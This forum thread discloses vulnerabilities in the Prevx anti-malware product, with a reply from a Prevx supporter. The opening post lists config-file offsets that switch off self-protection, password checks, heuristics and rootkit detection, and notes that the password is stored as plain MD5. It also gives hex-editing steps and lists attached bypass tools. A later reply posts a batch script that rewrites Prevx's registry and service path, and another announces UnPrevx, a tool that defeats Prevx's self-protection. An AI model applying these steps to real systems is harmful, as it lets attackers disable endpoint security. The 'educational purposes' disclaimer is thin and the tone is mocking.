[STRELiTZIA]

Hello,

This is my last episode (the end of the adventure) with Prevx, no more time to devoted to this product.

Prevx uses "csidb.csi" to store user's preferences, I expected to see it after analysis, elaborate and better protected,
because it contains very important information, like user's password, Enabling or disabling specific option, controling self protection levels and others.

Unfortunately this was not the case.

Location: \%Documents and Settings%\%All Users%\%Application Data%\PrevxCSI\csidb.csi

Prevx.exe, at first time loads the configuration file in memory, and any actual and effective changes are in memory,
the file on the disk used to store changes to read at the next startup.

Prevx uses a very basic approach:
- Stores and checks a simple '01' or '00' value at constant offsets for her options.
Below X86 platform offsets, for X64 platform a small shift offsets positions.

SELF PROTECTION:
Offset: 000017BC
Minimum = 00
Medium = 02
Maximum = 01

USER'S PASSWORD:
Only MD5 hash for user's password without any additional encryption.
Eg. 8B1A9953C4611296A827ABF8C47804D7 = MD5(Hello)

Offset : 000031A0 (Stored MD5 hash user's password)

Offset : 0000319C (Enable/Disable password checks option)
Val = 00 : (Disable password check)
Val = 01 : (Enable password check)

OTHER OPTIONS:
Offset: 00003380 Enable/Disbale SafeOnLine. 01 = Disabled.

Offset: 00000B88 Enable/Disable "Right Click" Scanning in Windows Explorer. 00 = Disabled.
Offset: 000017DC Enable/Disable Automatically download and apply updates.
Offset: 000017A8 Enable/Disable Enhanced Rootkit Detection.
Offset: 00000B9C Enable/Disable Realtime Master Boot Record Scanning.
Offset: 0000323C Show the Authenticating files screen when a file being scanned.
Offset: 00000B98 Disable heuristics. 00 = Disbaled
Offset: 000017E4 Enable Scheduled Scans. 00 = Disbaled

How to modify Prevx options manually:
- Open "csidb.csi" with any HexEditor.
- Go to desired offset and change the option you want,
- Then restart your System for Prevx loads the file into memory with the new options.

Attachement:
PxPassCorrupter.exe - Corrupt any stored password.
PxPassLocker.exe - Lock config without any password.
PxPassRevealer.exe - Display MD5 hash for stored password.
PxPassUnLocker.exe - Unlock protected config password.
PxSafeOnLineDisabler.exe - Disable safe online.
PxSelfProtectionLimiter.exe - Set minimum level for self protection.
Readme.txt

IMPORTANT: Vulnerability published only for educational purposes.

Regards.

[GamingMasteR]

:D :lol:

[sparviero]

This is my last episode (the end of the adventure) with Prevx, no more time to devoted to this product.

It does not deserve any attention in that direction. He does not know how to solve all these problems.
Maybe in the future to put an eye on this direction!

New Prevx initiative

http://www.bbc.co.uk/news/technology-11505274

and Sophos response:

http://www.sophos.com/blogs/gc/g/2010/1 ... ity-tools/

Attention ago on:

1. Privacy. Are people who install the tool going to be happy with a third-party application
keeping a record of when every program is installed? As malware can be spread in a wide variety of file formats, this means logs will also need to be kept about Word documents, Excel spreadsheets, PDF files and much more. Will these statistics be kept purely on the PC or communicated via the internet? Will people have legitimate concerns about what might be done with that data?

and

7. Who's going to pay for the infrastructure behind this tool? Presumably it's intended to collect
data from millions of computers around the world - data which should be kept securely. Furthermore, it may
require frequent updates in an attempt to handle some of the issues I raised above. And yet, I imagine it's going to be given away for free.

Sophos intend to say ? what...?
With Prevx backdoor will be installed? paid by someone?
And as we have already seen that by Prevx the lie is not limited, one can expect everything from them.
I think it is better to be infected with ilegal malware, instead of this legal bullshit.

[EP_X0FF]

Excellent work, STRELiTZIA :)

And a final word from me, indeed to much time spent on this mediocre product (and we even don't get money for making actual prevx dev division work) :)

Updated UnPrevx 1.1.209 TheEnd edition is ready and it's able to annihilate and bypass all Prevx self-protection from pure user mode. It's not using any listed above vulnerabilities etc.
In a view of newly discovered BSOD inside Prevx UnPrevx even doing a very good job by kicking out such dangerously coded software.

[sparviero]

Here is how they respond to registry exploit:

http://www.wilderssecurity.com/showthre ... 0&t=284406

The lies have short legs.

This is dedicated to PrevxHelp only, because he needs help how to create a simple *:*.bat file

Save this like PrevxHelp.bat file and run.

@echo off
reg add hklm\Software\PCSI /v KCSI /t REG_DWORD /d 2 /f

timeout /t 2 /nobreak > nul

reg add hklm\System\CurentControlSet\Service\CSIScanner /v ImagePath /t REG_EXPAND_SZ /d ""%%ProgramFiles%%\Prevx\prevx2.exe" /service" /f

IMPORTANT: Published only for PrevxHelp educational purposes. :lol:

[EP_X0FF]

@Prevx
It is time to stop "fixing" (as in fact it's just adding ridiculous and BSOD friendly crutches), it is about time to start refactoring your crappy software.

[Triple Helix]

I just find this amusing as we have many builds internally above .209! And it's just a game to you guys! Nothing else better to do? :roll:

TH

[GamingMasteR]

One of our interests is finding vulnerabilities/exploits in security applications, and this what EP_X0FF/STR did perfectly .
If you have "nothing else better to do", then fixing your product will be more "amusing" .

[Triple Helix]

One of our interests is finding vulnerabilities/exploits in security applications, and this what EP_X0FF/STR did perfectly .
If you have "nothing else better to do", then fixing your product will be more "amusing" .

Any and I mean any software can be broken or exploited not only Prevx! Do you understand how Prevx works any exploit or UnPrevx or any other tool is automatically upload to there servers and Analyzed! :roll:

Give it a break! No pun intended!

TH

[sparviero]

Any and I mean any software can be broken or exploited not only Prevx! Do you understand how Prevx works any exploit or UnPrevx or any other tool is automatically upload to there servers and Analyzed! :roll:
Give it a break! No pun intended

We know and how, that all goes automatically upload to there servers and Analyzed! Not only PoC's and exploit! :ugeek:
You have not saved the world yet, but good for managing misinformation to dazzled user! :mrgreen: